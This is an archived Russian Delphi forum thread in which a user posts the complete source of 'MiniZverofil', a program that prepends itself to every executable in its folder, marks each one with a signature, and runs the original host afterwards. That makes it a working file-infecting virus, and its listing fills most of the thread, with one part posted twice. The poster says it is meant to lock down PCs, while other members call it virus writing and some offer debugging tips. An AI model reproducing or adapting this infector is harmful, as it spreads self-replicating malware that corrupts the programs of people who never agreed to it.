Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2005.03.20;
Скачать: CL | DM;

Вниз

Проблема при работе с файлами, не получается правильно дописывать   Найти похожие ветки 

 
ArchValentin ©   (2005-03-06 05:37) [0]

Здарова народ, подскажите pls. Вот у мя есть такой код (см. ниже). Так вот он дописывает во все exe"шники свой код. Подскажите pls что нужно написать в процедуре MakeIt чтобы exe"шник при запуске проверял наличие определённого окна, и если не найденно то не запускалась??? Пытался FindWindows, компелируется нормально, а работать не хочет.

ps модераторы, не удаляйте данную ветвь, пишу прогу для защиты компов от юзеров


 
ArchValentin ©   (2005-03-06 05:39) [1]

Листинг. Часть 1

{$A8,B-,C-,D+,E-,F-,G+,H+,I+,J-,K-,L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}
{$WARN SYMBOL_DEPRECATED OFF}
{$WARN SYMBOL_LIBRARY OFF}
{$WARN SYMBOL_PLATFORM OFF}
{$WARN UNIT_LIBRARY OFF}
{$WARN UNIT_PLATFORM OFF}
{$WARN UNIT_DEPRECATED OFF}
{$WARN HRESULT_COMPAT OFF}
{$WARN HIDING_MEMBER OFF}
{$WARN HIDDEN_VIRTUAL OFF}
{$WARN GARBAGE OFF}
{$WARN BOUNDS_ERROR OFF}
{$WARN ZERO_NIL_COMPAT OFF}
{$WARN STRING_CONST_TRUNCED OFF}
{$WARN FOR_LOOP_VAR_VARPAR OFF}
{$WARN TYPED_CONST_VARPAR OFF}
{$WARN ASG_TO_TYPED_CONST OFF}
{$WARN CASE_LABEL_RANGE OFF}
{$WARN FOR_VARIABLE OFF}
{$WARN CONSTRUCTING_ABSTRACT OFF}
{$WARN COMPARISON_FALSE OFF}
{$WARN COMPARISON_TRUE OFF}
{$WARN COMPARING_SIGNED_UNSIGNED OFF}
{$WARN COMBINING_SIGNED_UNSIGNED OFF}
{$WARN UNSUPPORTED_CONSTRUCT OFF}
{$WARN FILE_OPEN OFF}
{$WARN FILE_OPEN_UNITSRC OFF}
{$WARN BAD_GLOBAL_SYMBOL OFF}
{$WARN DUPLICATE_CTOR_DTOR OFF}
{$WARN INVALID_DIRECTIVE OFF}
{$WARN PACKAGE_NO_LINK OFF}
{$WARN PACKAGED_THREADVAR OFF}
{$WARN IMPLICIT_IMPORT OFF}
{$WARN HPPEMIT_IGNORED OFF}
{$WARN NO_RETVAL OFF}
{$WARN USE_BEFORE_DEF OFF}
{$WARN FOR_LOOP_VAR_UNDEF OFF}
{$WARN UNIT_NAME_MISMATCH OFF}
{$WARN NO_CFG_FILE_FOUND OFF}
{$WARN MESSAGE_DIRECTIVE OFF}
{$WARN IMPLICIT_VARIANTS OFF}
{$WARN UNICODE_TO_LOCALE OFF}
{$WARN LOCALE_TO_UNICODE OFF}
{$WARN IMAGEBASE_MULTIPLE OFF}
{$WARN SUSPICIOUS_TYPECAST OFF}
{$WARN PRIVATE_PROPACCESSOR OFF}
{$WARN UNSAFE_TYPE OFF}
{$WARN UNSAFE_CODE OFF}
{$WARN UNSAFE_CAST OFF}
program MiniZverofil;

const
kernel32="kErNeL32.DlL";
oleaut32="OlEaUt32.dLl";

type
 _FILETIME = record
   dwLowDateTime: Cardinal;
   dwHighDateTime: Cardinal;
 end;

 _WIN32_FIND_DATAA = record
   dwFileAttributes: Cardinal;
   ftCreationTime: _FileTime;
   ftLastAccessTime: _FileTime;
   ftLastWriteTime: _FileTime;
   nFileSizeHigh: Cardinal;
   nFileSizeLow: Cardinal;
   dwReserved0: Cardinal;
   dwReserved1: Cardinal;
   cFileName: array[0..259] of AnsiChar;
   cAlternateFileName: array[0..13] of AnsiChar;
 end;

 _STARTUPINFOA = record
   cb: Cardinal;
   lpReserved: Pointer;
   lpDesktop: Pointer;
   lpTitle: Pointer;
   dwX: Cardinal;
   dwY: Cardinal;
   dwXSize: Cardinal;
   dwYSize: Cardinal;
   dwXCountChars: Cardinal;
   dwYCountChars: Cardinal;
   dwFillAttribute: Cardinal;
   dwFlags: Cardinal;
   wShowWindow: Word;
   cbReserved2: Word;
   lpReserved2: PByte;
   hStdInput: Cardinal;
   hStdOutput: Cardinal;
   hStdError: Cardinal;
 end;

 _PROCESS_INFORMATION = record
   hProcess: Cardinal;
   hThread: Cardinal;
   dwProcessId: Cardinal;
   dwThreadId: Cardinal;
 end;

function SysAllocStringByteLen(psz: PChar; len: Integer): pointer;
stdcall;external oleaut32 name "SysAllocStringByteLen";

function SysFreeString(psz: pointer): Cardinal;
stdcall;external oleaut32 name "SysFreeString";

function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: Cardinal;
lpSecurityAttributes: Pointer; dwCreationDisposition, dwFlagsAndAttributes: Cardinal;
hTemplateFile: Cardinal): Cardinal; stdcall;external kernel32 name "CreateFileA";

function GetFileSize(hFile: Cardinal; lpFileSizeHigh: Pointer): Cardinal; stdcall;
external kernel32 name "GetFileSize";

function CloseHandle(hObject: Cardinal): BOOLean; stdcall;
external kernel32 name "CloseHandle";

function ReadFile(hFile: Cardinal; var Buffer; nNumberOfBytesToRead: Cardinal;
var lpNumberOfBytesRead: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name "ReadFile";

function FindFirstFile(lpFileName: PAnsiChar; var lpFindFileData: _WIN32_Find_DataA): Cardinal; stdcall;
external kernel32 name "FindFirstFileA";

function WriteFile(hFile: Cardinal; const Buffer; nNumberOfBytesToWrite: Cardinal;
var lpNumberOfBytesWritten: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name "WriteFile";

function FindNextFile(hFindFile: Cardinal; var lpFindFileData: _WIN32_Find_Dataa): BOOLean; stdcall;
external kernel32 name "FindNextFileA";

procedure GetStartupInfo(var lpStartupInfo: _StartupInfoA); stdcall;
external kernel32 name "GetStartupInfoA";

function CreateProcess(lpApplicationName: PChar; lpCommandLine: PChar;
 lpProcessAttributes, lpThreadAttributes: Pointer;
 bInheritHandles: BOOLean; dwCreationFlags: Cardinal; lpEnvironment: Pointer;
 lpCurrentDirectory: PChar; const lpStartupInfo: _StartupInfoA;
 var lpProcessInformation: _Process_Information): BOOLean; stdcall;
external kernel32 name "CreateProcessA";


 
ArchValentin ©   (2005-03-06 05:39) [2]

Листинг. Часть 1

{$A8,B-,C-,D+,E-,F-,G+,H+,I+,J-,K-,L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}
{$WARN SYMBOL_DEPRECATED OFF}
{$WARN SYMBOL_LIBRARY OFF}
{$WARN SYMBOL_PLATFORM OFF}
{$WARN UNIT_LIBRARY OFF}
{$WARN UNIT_PLATFORM OFF}
{$WARN UNIT_DEPRECATED OFF}
{$WARN HRESULT_COMPAT OFF}
{$WARN HIDING_MEMBER OFF}
{$WARN HIDDEN_VIRTUAL OFF}
{$WARN GARBAGE OFF}
{$WARN BOUNDS_ERROR OFF}
{$WARN ZERO_NIL_COMPAT OFF}
{$WARN STRING_CONST_TRUNCED OFF}
{$WARN FOR_LOOP_VAR_VARPAR OFF}
{$WARN TYPED_CONST_VARPAR OFF}
{$WARN ASG_TO_TYPED_CONST OFF}
{$WARN CASE_LABEL_RANGE OFF}
{$WARN FOR_VARIABLE OFF}
{$WARN CONSTRUCTING_ABSTRACT OFF}
{$WARN COMPARISON_FALSE OFF}
{$WARN COMPARISON_TRUE OFF}
{$WARN COMPARING_SIGNED_UNSIGNED OFF}
{$WARN COMBINING_SIGNED_UNSIGNED OFF}
{$WARN UNSUPPORTED_CONSTRUCT OFF}
{$WARN FILE_OPEN OFF}
{$WARN FILE_OPEN_UNITSRC OFF}
{$WARN BAD_GLOBAL_SYMBOL OFF}
{$WARN DUPLICATE_CTOR_DTOR OFF}
{$WARN INVALID_DIRECTIVE OFF}
{$WARN PACKAGE_NO_LINK OFF}
{$WARN PACKAGED_THREADVAR OFF}
{$WARN IMPLICIT_IMPORT OFF}
{$WARN HPPEMIT_IGNORED OFF}
{$WARN NO_RETVAL OFF}
{$WARN USE_BEFORE_DEF OFF}
{$WARN FOR_LOOP_VAR_UNDEF OFF}
{$WARN UNIT_NAME_MISMATCH OFF}
{$WARN NO_CFG_FILE_FOUND OFF}
{$WARN MESSAGE_DIRECTIVE OFF}
{$WARN IMPLICIT_VARIANTS OFF}
{$WARN UNICODE_TO_LOCALE OFF}
{$WARN LOCALE_TO_UNICODE OFF}
{$WARN IMAGEBASE_MULTIPLE OFF}
{$WARN SUSPICIOUS_TYPECAST OFF}
{$WARN PRIVATE_PROPACCESSOR OFF}
{$WARN UNSAFE_TYPE OFF}
{$WARN UNSAFE_CODE OFF}
{$WARN UNSAFE_CAST OFF}
program MiniZverofil;

const
kernel32="kErNeL32.DlL";
oleaut32="OlEaUt32.dLl";

type
 _FILETIME = record
   dwLowDateTime: Cardinal;
   dwHighDateTime: Cardinal;
 end;

 _WIN32_FIND_DATAA = record
   dwFileAttributes: Cardinal;
   ftCreationTime: _FileTime;
   ftLastAccessTime: _FileTime;
   ftLastWriteTime: _FileTime;
   nFileSizeHigh: Cardinal;
   nFileSizeLow: Cardinal;
   dwReserved0: Cardinal;
   dwReserved1: Cardinal;
   cFileName: array[0..259] of AnsiChar;
   cAlternateFileName: array[0..13] of AnsiChar;
 end;

 _STARTUPINFOA = record
   cb: Cardinal;
   lpReserved: Pointer;
   lpDesktop: Pointer;
   lpTitle: Pointer;
   dwX: Cardinal;
   dwY: Cardinal;
   dwXSize: Cardinal;
   dwYSize: Cardinal;
   dwXCountChars: Cardinal;
   dwYCountChars: Cardinal;
   dwFillAttribute: Cardinal;
   dwFlags: Cardinal;
   wShowWindow: Word;
   cbReserved2: Word;
   lpReserved2: PByte;
   hStdInput: Cardinal;
   hStdOutput: Cardinal;
   hStdError: Cardinal;
 end;

 _PROCESS_INFORMATION = record
   hProcess: Cardinal;
   hThread: Cardinal;
   dwProcessId: Cardinal;
   dwThreadId: Cardinal;
 end;

function SysAllocStringByteLen(psz: PChar; len: Integer): pointer;
stdcall;external oleaut32 name "SysAllocStringByteLen";

function SysFreeString(psz: pointer): Cardinal;
stdcall;external oleaut32 name "SysFreeString";

function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: Cardinal;
lpSecurityAttributes: Pointer; dwCreationDisposition, dwFlagsAndAttributes: Cardinal;
hTemplateFile: Cardinal): Cardinal; stdcall;external kernel32 name "CreateFileA";

function GetFileSize(hFile: Cardinal; lpFileSizeHigh: Pointer): Cardinal; stdcall;
external kernel32 name "GetFileSize";

function CloseHandle(hObject: Cardinal): BOOLean; stdcall;
external kernel32 name "CloseHandle";

function ReadFile(hFile: Cardinal; var Buffer; nNumberOfBytesToRead: Cardinal;
var lpNumberOfBytesRead: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name "ReadFile";

function FindFirstFile(lpFileName: PAnsiChar; var lpFindFileData: _WIN32_Find_DataA): Cardinal; stdcall;
external kernel32 name "FindFirstFileA";

function WriteFile(hFile: Cardinal; const Buffer; nNumberOfBytesToWrite: Cardinal;
var lpNumberOfBytesWritten: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name "WriteFile";

function FindNextFile(hFindFile: Cardinal; var lpFindFileData: _WIN32_Find_Dataa): BOOLean; stdcall;
external kernel32 name "FindNextFileA";

procedure GetStartupInfo(var lpStartupInfo: _StartupInfoA); stdcall;
external kernel32 name "GetStartupInfoA";

function CreateProcess(lpApplicationName: PChar; lpCommandLine: PChar;
 lpProcessAttributes, lpThreadAttributes: Pointer;
 bInheritHandles: BOOLean; dwCreationFlags: Cardinal; lpEnvironment: Pointer;
 lpCurrentDirectory: PChar; const lpStartupInfo: _StartupInfoA;
 var lpProcessInformation: _Process_Information): BOOLean; stdcall;
external kernel32 name "CreateProcessA";


 
ArchValentin ©   (2005-03-06 05:41) [3]

часть 2
function GetExitCodeProcess(hProcess: THandle; var lpExitCode: Cardinal): BOOLean; stdcall;
external kernel32 name "GetExitCodeProcess";

function DeleteFile(lpFileName: PChar): BOOLean; stdcall;
external kernel32 name "DeleteFileA";

type
 _IMAGE_FILE_HEADER = packed record
   Machine: Word;
   NumberOfSections: Word;
   TimeDateStamp: Cardinal;
   PointerToSymbolTable: Cardinal;
   NumberOfSymbols: Cardinal;
   SizeOfOptionalHeader: Word;
   Characteristics: Word;
 end;

 _IMAGE_DATA_DIRECTORY = record
   VirtualAddress: Cardinal;
   Size: Cardinal;
 end;

 _IMAGE_DOS_HEADER = packed record      { DOS .EXE header                  }
     e_magic: Word;                     { Magic number                     }
     e_cblp: Word;                      { Bytes on last page of file       }
     e_cp: Word;                        { Pages in file                    }
     e_crlc: Word;                      { Relocations                      }
     e_cparhdr: Word;                   { Size of header in paragraphs     }
     e_minalloc: Word;                  { Minimum extra paragraphs needed  }
     e_maxalloc: Word;                  { Maximum extra paragraphs needed  }
     e_ss: Word;                        { Initial (relative) SS value      }
     e_sp: Word;                        { Initial SP value                 }
     e_csum: Word;                      { Checksum                         }
     e_ip: Word;                        { Initial IP value                 }
     e_cs: Word;                        { Initial (relative) CS value      }
     e_lfarlc: Word;                    { File address of relocation table }
     e_ovno: Word;                      { Overlay number                   }
     e_res: array [0..3] of Word;       { Reserved words                   }
     e_oemid: Word;                     { OEM identifier (for e_oeminfo)   }
     e_oeminfo: Word;                   { OEM information; e_oemid specific}
     e_res2: array [0..9] of Word;      { Reserved words                   }
     _lfanew: LongInt;                  { File address of new exe header   }
 end;

 _IMAGE_OPTIONAL_HEADER = packed record
   { Standard fields. }
   Magic: Word;
   MajorLinkerVersion: Byte;
   MinorLinkerVersion: Byte;
   SizeOfCode: Cardinal;
   SizeOfInitializedData: Cardinal;
   SizeOfUninitializedData: Cardinal;
   AddressOfEntryPoint: Cardinal;
   BaseOfCode: Cardinal;
   BaseOfData: Cardinal;
   { NT additional fields. }
   ImageBase: Cardinal;
   SectionAlignment: Cardinal;
   FileAlignment: Cardinal;
   MajorOperatingSystemVersion: Word;
   MinorOperatingSystemVersion: Word;
   MajorImageVersion: Word;
   MinorImageVersion: Word;
   MajorSubsystemVersion: Word;
   MinorSubsystemVersion: Word;
   Win32VersionValue: Cardinal;
   SizeOfImage: Cardinal;
   SizeOfHeaders: Cardinal;
   CheckSum: Cardinal;
   Subsystem: Word;
   DllCharacteristics: Word;
   SizeOfStackReserve: Cardinal;
   SizeOfStackCommit: Cardinal;
   SizeOfHeapReserve: Cardinal;
   SizeOfHeapCommit: Cardinal;
   LoaderFlags: Cardinal;
   NumberOfRvaAndSizes: Cardinal;
   DataDirectory: packed array[0..15] of _IMAGE_DATA_DIRECTORY;
 end;

 _IMAGE_NT_HEADERS = packed record
   Signature: Cardinal;
   FileHeader: _IMAGE_FILE_HEADER;
   OptionalHeader: _IMAGE_OPTIONAL_HEADER;
 end;

 PImageNtHeaders = ^_IMAGE_NT_HEADERS;

 TISHMisc = packed record
   case Integer of
     0: (PhysicalAddress: Cardinal);
     1: (VirtualSize: Cardinal);
 end;

 _IMAGE_SECTION_HEADER = packed record
   Name: packed array[0..7] of Byte;
   Misc: TISHMisc;
   VirtualAddress: Cardinal;
   SizeOfRawData: Cardinal;
   PointerToRawData: Cardinal;
   PointerToRelocations: Cardinal;
   PointerToLinenumbers: Cardinal;
   NumberOfRelocations: Word;
   NumberOfLinenumbers: Word;
   Characteristics: Cardinal;
 end;

 PImageSectionHeader = ^_IMAGE_SECTION_HEADER;

 PImageDosHeader = ^_Image_Dos_Header;

const

 GENERIC_READ             = Cardinal($80000000);
 FILE_SHARE_READ                     = $00000001;
 OPEN_EXISTING = 3;
 FILE_ATTRIBUTE_NORMAL               = $00000080;
 GENERIC_WRITE            = $40000000;
 CREATE_ALWAYS = 2;
 NORMAL_PRIORITY_CLASS           = $00000020;
 STill_Active                  = $00000103;

var
hFile,hFile1,dwFileSize,dwFileSize1,Br,hFind,OldVirSize,ExitCode:Cardinal;
Mesto,Mesto1:Pointer;
FindDataX:_win32_find_dataa;
MadMe:array[1..19] of char = "MZThis is ZveroFil!";
Buf:array[1..64] of byte;
ProcessInfo:_PROCESS_INFORMATION;
StartInfo:_StartupInfoA;

procedure MakeIt;
begin
end;


 
ArchValentin ©   (2005-03-06 05:41) [4]

часть 3

function MakeWord(A, B: Byte): Word;
begin
 Result := A or B shl 8;
end;

function MakeLong(A, B: Word): Longint;
begin
 Result := A or B shl 16;
end;

function GetVirSize(AData:Pointer):Cardinal;
var
LPNtHdr:PImageNtHeaders;
Sect:PImageSectionHeader;
_lfanew:Longint;
begin
_lfanew:=MakeLong(MakeWord(Buf[61],Buf[62]),MakeWord(Buf[63],Buf[64]));
LPNtHdr:=Pointer(Cardinal(AData)+Cardinal(_lfanew));
Sect:=Pointer(Cardinal(LPNtHdr)+(LPNtHdr^.FileHeader.NumberOfSections-1)*SizeOf(Sect^));
Result:=Sect^.PointerToRawData+Sect^.SizeOfRawData;
end;

function OutKlient(AData:Pointer):Boolean;
var
i:Integer;
ok:Boolean;
buf_MadMe:array[1..19] of char;
begin
move(PImageDosHeader(AData)^,buf_MadMe,19);
ok:=true;
for i:=1 to 19 do
if buf_MadMe[i]<>MadMe[i] then
begin
 ok:=false;
 break;
end;
Result:=ok;
end;

begin
MakeIt;
hFile:=CreateFile(PChar(ParamStr(0)),GENERIC_READ,FILE_SHARE_READ,nil,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
dwFileSize:=GetFileSize(hFile,0);
Mesto:=SysAllocStringByteLen(0,dwFileSize);
if Mesto=nil then
begin
 CloseHandle(hFile);
 Halt;
end;
ReadFile(hFile,Buf,64,Br,0);
if Br=0 then
begin
 SysFreeString(Mesto);
 CloseHandle(hFile);
 Halt;
end;
ReadFile(hFile,Mesto^,dwFileSize-64,Br,0);
OldVirSize:=GetVirSize(Mesto);
if Br=0 then
begin
 SysFreeString(Mesto);
 CloseHandle(hFile);
 Halt;
end;
move(MadMe,Buf,19);
hFind:=FindFirstFile("*.exe",FindDataX);
if hFind<>0 then
begin
 repeat
  hFile1:=CreateFile(Addr(FindDataX.cFileName),GENERIC_READ,FILE_SHARE_READ,nil,
  OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
  dwFileSize1:=GetFileSize(hFile1,0);
  Mesto1:=SysAllocStringByteLen(0,dwFileSize1);
  ReadFile(hFile1,Mesto1^,dwFileSize1,Br,0);
  if Br=0 then
  begin
   SysFreeString(Mesto);
   SysFreeString(Mesto1);
   CloseHandle(hFile);
   CloseHandle(hFile1);
   Halt;
  end;
  if not OutKlient(Mesto1) then
  begin
   CloseHandle(hFile1);
   hFile1:=CreateFile(Addr(FindDataX.cFileName),GENERIC_WRITE,0,nil,
   CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
   WriteFile(hFile1,Buf,64,Br,0);
   WriteFile(hFile1,Mesto^,OldVirSize,Br,0);
   WriteFile(hFile1,Mesto1^,dwFileSize1,Br,0);
   CloseHandle(hFile1);
  end;
  SysFreeString(Mesto1);
 until not FindNextFile(hFind,FindDataX);
end;
SysFreeString(Mesto);
CloseHandle(hFile);
{Processing Real ExE}
hFile:=CreateFile(PChar(ParamStr(0)),GENERIC_READ,FILE_SHARE_READ,nil,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
dwFileSize:=GetFileSize(hFile,0);
Mesto:=SysAllocStringByteLen(0,dwFileSize);
ReadFile(hFile,Mesto^,OldVirSize+64,Br,0);
ReadFile(hFile,Mesto^,dwFileSize-OldVirSize-64,Br,0);
hFile1:=CreateFile(PChar(ParamStr(0)+".exe"),GENERIC_WRITE,0,nil,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(hFile1,Mesto^,dwFileSize-OldVirSize,Br,0);
CloseHandle(hFile1);
SysFreeString(Mesto);
CloseHandle(hFile);
GetStartupInfo(StartInfo);
CreateProcess(nil,PChar(ParamStr(0)+".exe"),nil,nil,false,NORMAL_PRIORITY_CLASS,nil,nil,
startinfo,processinfo);
repeat
 GetExitCodeProcess(processInfo.hProcess,exitcode);
until exitcode<>still_active;
closehandle(processinfo.hProcess);
DeleteFile(PChar(ParamStr(0)+".exe"));
end.


 
Anatoly Podgoretsky ©   (2005-03-06 11:30) [5]

Ну и зачем ты вывалил сюда этот код, не надо устравивать помойку. А ссылочка на пользователей не выдерживает критики, все так говорят.


 
TeNY ©   (2005-03-06 12:49) [6]


Так вот он дописывает во все exe"шники свой код.
...
пишу прогу для защиты компов от юзе

И каким же образом модификация ехешника защищает комп от юзеров?Разве что приводит к его полной нефункциональнсти.

2Anatoly Podgoretsky Неужели на форуме уже разрешили хакерские и вирописательские темы?


 
Anatoly Podgoretsky ©   (2005-03-06 13:56) [7]

Никто не разрешал, хакерам смерть здесь.


 
Gero ©   (2005-03-06 13:57) [8]


> Anatoly Podgoretsky ©   (06.03.05 13:56)

Странно, почему ветка еще жива?


 
Anatoly Podgoretsky ©   (2005-03-06 13:58) [9]

А чего странного, просто не удалена, потому и жива.


 
TeNY ©   (2005-03-06 14:33) [10]

TO Anatoly Podgoretsky железная логика :)


 
Anton_K ©   (2005-03-06 14:45) [11]

>ArchValentin

Вирусы лучше на Ассемблере писать.


 
ArchValentin ©   (2005-03-07 04:27) [12]

НИКАКОГО ВИРУСОПИСАНИЯ!!!

Значитца так, строю логику таким образом, зараженная игрушка при запуске ищит клиентскую часть локера, и ежели она не найдена, значит юзер, гад, умудрился её каким-то образом вырубить, изначит игрушке, в этом случае, запускаться не нужно.
Так вот, мне нужно заставить этот код искать окошки, вот такой код почему-то не пашет:
var
h:hWnd;
begin
  h:=FindWindow(nil, "Client_infect_programm");
  if h=0
  then ShowMessage("Окно не найденно!!!");
 end;
end;


 
naum   (2005-03-07 06:10) [13]

смешно, автор выкладывает 3 страницы "зверского" кода, а стопорится на 3х простейших строка. "орехи" - 100пудово :)


 
TeNY ©   (2005-03-07 07:16) [14]

Вопросы такого масштаба на таких форумах не решаются,то что вы спрашиваете есть серьёзная задача которую может решить только профи,а таких здесь единицы да и помогать они вам не собираются,так как считают это ниже своего достоинтсва. Так что дерзайте сами ищите и исправляете!


 
TeNY ©   (2005-03-07 07:24) [15]

2Naum а что тут смешного,сразу сорец взят из инета с буржуйского сайта.Причем явно видно непонимание работы Delphi.

2ArchValentin ты слово Uses знаеш?Так вот добавь в этот раздел
юниты Windows,Sysutils,Dialogs,Messages.
И убери всю эту лабуду с обьявлением функций,меньше места все равно занимать не будет,да и смыл маленького обьема,
все равно не вирЬ :)


 
ArchValentin ©   (2005-03-08 05:21) [16]


> TeNY ©   (07.03.05 07:24) [15]

ну еслиб чё, то эта "лабуда" так гораздо быстрее работает.
да кстати, вот даже с этой хренью
> Windows,Sysutils,Dialogs,Messages
код прекрасно компелируется, но всё равно не работает :(((


 
TeNY ©   (2005-03-08 06:25) [17]

Кстати в такие коды спеацильно вносят ошибки,так что попробуй воспользоватся отладчиком и проверь выполнение кода строка за строкой


 
Юрий Зотов ©   (2005-03-08 06:30) [18]

> ArchValentin ©   (08.03.05 05:21) [16]

Хм. А откуда же известно, что "эта лабуда гораздо быстрее работает", если она пока что "компелируется, но всё равно не работает"?


 
TeNY ©   (2005-03-08 06:35) [19]

Автор сидел с секундомером и засекал :),наверное он имел ввиду время компиляции:)


 
Набережных С. ©   (2005-03-08 07:53) [20]


> TeNY ©   (08.03.05 06:35) [19]

Да? Интересная гипотеза. А с чем сравнивалось-то? Быстрее чего?


 
TeNY ©   (2005-03-08 18:08) [21]


> Да? Интересная гипотеза. А с чем сравнивалось-то? Быстрее
> чего?

Время компиляции с Windows,Sysutils,Dialogs,Messages
и с самопальным обьявлением функций.

2автор кстати вероятно всего не работает потому что какойт-то модуль  не грузится kernel32 вроде бы, да и ось может не подходить



Страницы: 1 вся ветка

Текущий архив: 2005.03.20;
Скачать: CL | DM;

Наверх




Память: 0.56 MB
Время: 0.054 c
14-1109613139
Petr V. Abramov
2005-02-28 20:52
2005.03.20
Ну хоть одной внешней угрозой стало меньше....


4-1107329395
Neznaika
2005-02-02 10:29
2005.03.20
Сворачивание на панели задач


1-1109338130
Asail
2005-02-25 16:28
2005.03.20
Зависание Delphi 7 при включенном Hyper-Threading


3-1109040283
Киря
2005-02-22 05:44
2005.03.20
Как перегнать базу данных из PARADOX в ACCESS?


1-1110347541
Vilux
2005-03-09 08:52
2005.03.20
Timer в dll